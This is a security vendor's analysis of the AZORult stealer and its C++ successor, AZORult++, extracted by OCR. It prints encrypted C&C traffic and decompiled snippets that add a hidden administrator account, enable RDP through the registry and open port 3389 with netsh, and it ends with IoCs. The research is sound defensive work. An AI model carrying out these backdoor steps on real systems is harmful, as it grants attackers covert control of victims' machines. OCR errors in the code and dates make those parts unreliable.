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The AZORult Trojan is one of the most commonly bought and sold stealers in Russian forums. Despite the
relatively high price tag ($100), buyers like AZORult for its broad functionality (for example, the use of .bit
domains as C&C servers to ensure owner anonymity and to make it difficult to block the C&C server), as well as

its high performance. Many comment leavers recommend it.
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But at the back end of 2018, the main seller, known under the handle CrydBrox, stopped selling the malware:

“All software has a shelf life. It’s run out for AZORult.

It is with joy and sadness that I announce that sales are closed forever.”

Some attribute the move to AZORult 3.2 having become too widely available, likewise the source code of the
botnet control panel. This version of the malware spread to other forums where even users without special skills
can download and configure it for their own purposes. So the imminent demise of AZORult was apparently down

to a lack of regular updates and its overly wide distribution. Yet the story of AZORult does not end there.

In a nutshell

AZORult is a Trojan stealer that collects various data on infected computers and sends it to the C&C server,

including browser history, login credentials, cookies, files from folders as specified by the C&C server (for

example, all TXT files from the Desktop folder), cryptowallet files, etc.; the malware can also be used as a loader

to download other malware. Kaspersky Lab products detect the stealer as Trojan-PSW.Win32.Azorult. Our

statistics show that since the start of 2019, users in Russia and India are the most targeted.
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Trojan-PSW.Win32.Azorult geography

Number of users
M 1-150 M 150 - 490 4590-1,200 (MM 1200-2500 (NN 2500 - 4,000

Geography of users attacked by Trojan-PSW.Win32.Azorult, 01.01.2019 — 03.18.2019

From Delphi to C++

In early March 2019, a number of malicious files detected by our products caught the eye. Although similar to
AZORult already known to us, unlike the original malware, they were written not in Delphi, but in C++. A clear

hint at the link between them comes from a section of code left by the developer.

It appears that the acolytes of CrydBrox, the very one who pulled the plug on AZORult, decided to rewrite it in
C++; this version we call AZORult++. The presence of lines containing a path to debugging files likely indicates

that the malware is still in development, since developers usually try to remove such code as soon as feasible.

AZORult++ starts out by checking the language ID through a call to the GetUserDefaultLangID() function. If
AZORult++ is running on a system where the language is identified as Russian, Armenian, Azerbaijani,

Belarusian, Georgian, Kazakh, Tajik, Turkmen, or Uzbek, the malware stops executing.
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UserDefaultLangID{);
russian
armenian
azerbaijani
azerbaijani_2
belarusian
geocrgian
kazakh

tajik

turkmen

uzbek

uzbek_2 )

1
ExitProcess(@};
¥

return result;

A more detailed analysis reveals that the C++ version is deficient compared to AZORult 3.3, the last iteration to be

sold. In particular, there is no loader functionality and no support for stealing saved passwords from many of the

browsers supported by AZORult 3.3. At the same time, many signature features of the Delphi-based version 3.3

are present in AZORult++, including the algorithm for communication with the C&C server, the command format,

the structure and method of storing harvested data, and encryption keys.

Like AZORult 3.3, AZORult++ uses an XOR operation with a 3-byte key to encrypt data sent to the C&C server.

What’s more, this key we had already encountered in various modifications of version 3.3.

AZORult v3.*

POST /index.php HTTP/1.1

Host: spartaqs.bit

User-Agent: Mozilla/4.@ (compatible; MSIE 6.8b; Windows NT 5.1)
Content-Length: 95

Cache-Control: ne-cache

3/.84.</ . 31.(9. (9. (B.1/.>/.9/ . 5K.>B.N/. I/ .5/ . >N.IL. (9. (8. (9.(9.(9.0/.>/.8/.5/.</ . IL.IL. (9. (9.LINTTP/1.1 286 OK
Server: nginx/1.12.2

Date: Mon, 10 Sep 2618 11:58:27 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

X-Powered-By: PHP/5.6.37

ada
1i.Fs. . A.mcty.F}.FX.a0.UD.iM.z\.e__A\.X:.A_.GZ.Ff._Y.nX.[p.>X.nL.GA.8a.2G.Fc.fh.C>.Ne.iB.=F.b. . IX.AL.xi._g.YO.NY.GA.ai.?
>i.u2.KH.08.t5.=m.” f.WR.nLl.u[."3 .Wz.I\.DI.9E.Tz.Er.\R.zX.K:.[r.08.eh.u2.HL.n0.en.Ki.33.T].@h.11.Kr.nB.HS. b.K@.T].}h.ii.Kr.ng.ci.K~.IL.T

T8.}h.uc.33.18.b5.a.. D.oY. . }@.Ya. A" . 2F.H>. t>.BF. [N.b7."1.1d.... |...
=..hi..0.0r.=h1q.00 0 s 330 e e L UbsHTL L. om. L A0 UL

Examples of different versions of AZORult in operation (data encrypted using XOR)

AZORult++

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded
Host: daticho.ac.ug

Content-Length: 25

Connection: Keep-Alive

Cache-Control: no-cache

...5f.3d.:.6..1g.6b.7" .SHTTP/1.1 200 OK
Server: nginx

Date: Tue, 12 Mar 2619 23:51:35 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.6.38

33
26.0..q..3!1.P&.0..H..ha.Pa.N..v..h .i..19.U..1h.,6.
-]

The malware collects stolen data in RAM and does not write to the hard drive to keep its actions hidden. A

comparison of the data sent in the first packet (the ID of the infected device) shows that AZORult++ uses a shorter

string than AZORult 3.3 for identification:

AZORult v3.* 3
AZORult++

1-FI
34526 (22 cumBona)

AC (45 cumeonoB)
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The server response also contains far less data. In version 3.3, the response contained a command in the form
“++++-+—+-“, specifying the bot configuration and a link for downloading additional malware, plus several binary
files needed for the stealer to work. The string “++++-+—+-" is parsed by the Trojan character-by-character; “+” in
a specific position signifies a command to execute certain actions (for example, harvesting of cryptowallet files).

The current version of AZORult++ employs a shorter, yet similar command:

A STHE R
flash-usb  %DSK_2% *.txt,*.doc* 18 + + \windows\|\Downloads\ LA - S

desktop %USERPROFILE%\Desktop\ *.txt,*.doc* 1@ + + \windows\|\Downloads\
https://gi® S - - ‘AudioMisc.exe - %

U

It is worth mentioning separately that the resulting configuration string is not processed correctly; the code
execution does not depend on the value “+” or “-” in the string, since the characters are checked against \x00 for a

match. In other words, the resulting command does not affect the stealer’s behavior:

. 80 3D 4D 41 ZE 00 00| cmp byte ptr ds:[2E414D],0 O0ZE414D: "—++-———++-"
if ( second_symb ) ~ 74 09 je 5h26.2D03990
gr-ab_:i_e_sta-F-F(S'.,‘J al, a2 BD 4C 24 04 1ea ecx,dword ptr ss:|[fesp+4f]
if ( third symb :] E8 11 15 00 00 call 5b25.2l352ﬁ1_ _
— 80 3D 4E 41 2E 00 00| cmp byte ptr ds:[2E414E],0 O02E414E: "++-——++-"
grab_cookies(); v 74 05 je 5h26.2D399E
E8 35 OE 00 00 call 5h26.2047D3

This seems to be an error on the part of the developer, which suggests again that the project is in the very early
stages of development. Going forward, these bugs are expected to be eliminated and the functionality of

AZORult++ expanded.

++ up the sleeve

For all its flaws, AZORult++ could actually be more dangerous than its predecessor due to its ability to establish a
remote connection to the desktop. To do so, AZORult++ creates a user account using the NetUserAdd() function

(username and password are specified in the AZORult++ code), before adding this account to the Administrators

group:

if { AllccateAndInitializeSid(
&pIdentifierAuthority,
2u,
SECURITY_BUILTIN_ DOMAIN_RID,
DOMAIN_ALTAS RID ADMINS,

8,

a,

BJ

aJ‘

a,

a,

&psid)
&% LookupAccountSidW(@, p5id, &Name, &cchName, &ReferencedDomainMame, &cchReferencedDomainName, &pelse) )
*buf = &domain_and_name;
NetLocalGroupAddMembers(@, &Name, 3u, buf, 1u);

}
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Next, AZORult++ hides the newly created account by setting the value of the Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist registry key to 0. Likewise, through setting registry key

values, a Remote Desktop Protocol (RDP) connection is allowed:

(v3, L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server™, @, L"fDenyTSConnections”, @);
(v4, L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp”, @, L"SecuritylLayer”™, 1);
(vs, L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", @, L"Userfuthentication™, @};

The malicious cherry on the cake is a call to ShellExecuteW() to open a port to establish a remote connection to
the desktop:

ShellExecuteW(®, L"open™, L"cmd”, L"/c netsh firewall add portopening TCP 3389 \"Remote Desktop\"™, @, @);

After that, the infected computer is ready to accept the incoming RDP connection, which allows the cybercriminal
— armed with the victim’s IP address and account information — to connect to the infected computer and seize

complete control of it.

Conclusion

During development, AZORult underwent several changes related to the expansion of its functionality. Moreover,
despite its many flaws, the C++ version is already more threatening than its predecessor due to the ability to
establish a remote connection to the desktop. Because AZORult++ is likely still in development, we should expect
its functionality to expand and bugs to be eliminated, not to mention attempts to distribute it widely under a name

that buyers will recognize.

IoC

C&C servers
http://ravor.ac[.]ug
http://daticho.ac[.]ug

MD5
08EB8F2E441C26443EBOABESA93CD942
5B26880F80A00397BC379CAF5CADC564
BOEC3ES594D20B9D38CC8591BAFF0148B
FE8938FOBAAF90516A90610F6E210484

Source: https://securelist.com/azorult-analysis-history/89922/
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